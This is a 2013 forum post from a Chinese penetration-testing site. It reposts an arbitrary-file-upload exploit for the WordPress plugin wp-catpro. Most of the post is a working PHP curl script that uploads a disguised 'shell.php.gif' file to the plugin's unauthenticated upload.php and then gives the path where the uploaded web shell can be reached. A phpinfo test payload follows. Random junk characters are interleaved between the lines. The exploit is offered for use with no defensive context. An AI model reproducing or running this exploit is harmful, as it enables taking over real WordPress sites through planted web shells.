中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
4 f7 G- k. w3 Q5 J8 _* T
#-----------------------------------------------------------------------
% |- ^4 v! s2 F. L, b! y6 z
& u$ `& m3 ?* j0 G
作者 => Zikou-16
R9 j* ?) p" G) A. W1 F
邮箱 =>
zikou16x@gmail.com
1 \; R- S4 b8 H0 x) ?
测试系统 : Windows 7 , Backtrack 5r3
|. n |: c/ i; }- ~) D! A% B
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
3 B# k3 t2 f$ L& }+ r
####
- M" Z. k3 m' c! p Z
% B- K4 U3 {3 _4 x
#=> Exploit 信息:
9 M" N7 k4 O5 [! ?
------------------
$ F! N9 x+ n+ C! X1 g* @7 V
# 攻击者可以上传 file/shell.php.gif
) U; q/ z) c+ g: q( D! x
# ("jpg", "gif", "png") // Allowed file extensions
, c3 r; l- \# M" I, h8 L6 m) Z
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
u0 Y) i. T. s
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
5 N; |" m+ ^3 _% }) \7 n
------------------
Y8 B( E# M/ w, I8 V9 y# y8 m- X2 {" d
5 D& M" s1 G% C' @. K3 t+ K7 x
#=> Exploit
3 D( |5 y/ P5 i/ P; H
-----------
7 W* h' f( I7 q
<?php
" B( J* u& ~% v3 X
2 z: J3 Y* I% D1 D" g2 K
$uploadfile="zik.php.gif";
+ a$ @( w; D# o( n+ n; k
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
! o0 t; P4 k, ]" d2 [
curl_setopt($ch, CURLOPT_POST, true);
* O7 P2 D! f: K4 H& j0 o
curl_setopt($ch, CURLOPT_POSTFIELDS,
& v" A( V/ a! M+ S' _2 \
array('Filedata'=>"@$uploadfile",
+ E5 p" {& y u s
'folder'=>'/wp-content/uploads/catpro/'));
$ j& n4 _0 `, ^
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
d$ t1 h& @, ` l! k1 u
$postResult = curl_exec($ch);
: [- ^+ F, K5 W3 e; i
curl_close($ch);
+ _! r o4 ~/ U B
" `+ s) N$ |3 m0 T& t# q: f' U
print "$postResult";
. ~5 a8 b. L, r/ I' ^6 _
- ?( I+ e/ Y* n+ t
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
: m- L- y- d0 v; R
?>
3 N% C* {' G5 l1 Y; K
<?php
2 L. }1 ^6 ^ U# G2 _& D3 n9 m f9 O
phpinfo();
/ l" R, Q! _. i' ~2 Z
?>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2